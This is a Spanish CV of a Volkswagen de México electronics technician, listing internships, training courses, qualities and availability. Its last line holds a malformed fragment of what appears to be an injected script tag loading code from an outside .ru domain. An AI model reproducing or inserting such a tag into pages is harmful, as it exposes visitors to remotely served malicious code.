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Oswaldo Martínez García

titulo 
Ingenieros - Técnicos. 

 

EXPERIENCIA LABORAL
-1/2009-5/2009 Volkswagen de México
Producción, taller y fábrica Ingenieros - Técnicos
E-LABOR: En esta área se realizó un banco de pruebas para el KSK del jetta NF, así como checar fallas 
en autos de producción Responsable: Joaquín Espinosa

-9/2007-10/2007 Volkswagen de México
Producción, taller y fábrica Ingenieros - Técnicos
Área: Fiabilidad del producto: Realización de bancos de prueba para Bora, NB (pruebas eléctricas) Ext. 
6800

 

FORMACIÓN ACADÉMICA
6/2009

Técnico Especialista en Electrónica Industrial
FP1 (Formación Profesional) Genérica no específica
Escuela de Capacitación de Volkswagen (ESCAP) 
Especialidad: Electrónica Industrial

 

IDIOMAS
Inglés
Nivel:Nivel Intermedio

OBJETIVOS PROFESIONALES
Lograr cumplir con mis objetivos y los de la empresa, crear un ambiente de 
armonía en mi área de trabajo, aceptar mis errores y ser eficiente en mis labores 
diarias.

 

Cualidades
Adaptable, Analítico/a, Comprometido/a, Creativo/a, Eficiente, Enérgico/a, Entregado/a, Honesto/a, 
Imaginativo/a, Perceptivo/a, Persistente, Persuasivo/a, Productivo/a, Responsable, Seguro/a, Sociable, 
Trabajador/a, Versátil, Visionario/a, 
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Aficiones
Atletismo, Bailar, Billar/Dardos, Ciclismo, Coches/Motos, Museos/Galerías de Arte, Música Variada, 
Ordenadores/Internet, 

 

Disponibilidad
Estoy dispuesto a viajar: Si
Estoy dispuesto a trabajar en el extranjero: Si
Estoy dispuesto a trabajar fuera de mi región: Si

 

Información Adicional:
FORMACIÓN:Cursos:            CULTURA EMPRESARIAL:      -5S`S      -TPM      -ISO 14000      
-SEGURIDAD INDUSTRIAL            FORMACIÓN:      -SOLDADURA (MIG-MAG/ARCO 
ELÉCTRICO/OXIACETILÉNICA)      -HIDRÁULICA (BÁSICO)      -NEUMÁTICA (BÁSICO)      
-CONTROL CONVENCIONAL            -PIC´S (16F84A)(CONOCIMIENTO BÁSICO)      -ROBÓTICA 
(KUKA Y MOTOMAN)(BÁSICO)      -PLC SIEMENS STEP S7      -VARIADORES DE FRECUENCIA 
(SEW)      -DISEÑO DE CIRCUITOS      -ELECTRÓNICA DIGITAL                  EXTRAS:      
-REALIZACIÓN DE PROYECTO SEMESTRAL (APARECIÓ EN MI BOLETIN) PRESENTACIÓN 
PRÓXIMA EN LA UNIDAD DEPORTIVA EL 24 DE JULIO DEL AÑO EN CURSO (CREADORES DE LA 
IDEA PRINCIPAL)      -INTEGRANTE DE LA BRIGADA DE SEGURIDAD EN NAVE 40 (OBTENCIÓN DE
RECONOCIMIENTO A LA ESCUELA POR "CERO ACCIDENTES")      -PARTICIPACIÓN EN DISTINTAS
ACTIVIDADES DENTRO DE LA ESCUELA (CULTURALES)      EXPERIENCIA:3 AÑOS DE 
FORMACIÓN EN LA ESCUELA DE CAPACITACIÓN DE VOLKSWAGENFORMACIÓN 
COMPLEMENTARIA:INFORMACIÓN ADICIONAL:PARA CUMPLIR CON LOS PERFILES ACTUALES 
DENTRO DE UN NIVEL EMPRESARIAL, ES NECESARIO LOGRAR EN LOS COLABORADORES UN 
SENTIDO DE PERTENENCIA, LO CUAL DARÁ COMO RESULTADO PERSONA CON UNA GRAN 
SENTIDO DE EMPUJE,ESTO SE TRADUCIRÁ EN MEJORES RESULTADOS Y AVANCES EN LA 
EMPRESA.      ESA ES PARTE DE MI METODOLOGÍA, PUES MUCHAS VECES LAS COSAS NO 
LLEGAN A NUESTRAS MANOS, SINO QUE HAY QUE BUSCARLAS Y APROVECHARLAS AL 
MÁXIMO DENTRO Y FUERA DE NUESTRO ÁMBITO LABORAL, APLICARLO EN NUESTRA VIDA 
DIARIA ES EL SECRETO DEL ÉXITO PERSONAL Y PROFESIONAL. script 
src=http://www.bannerdriven.ru/ads.js>

 


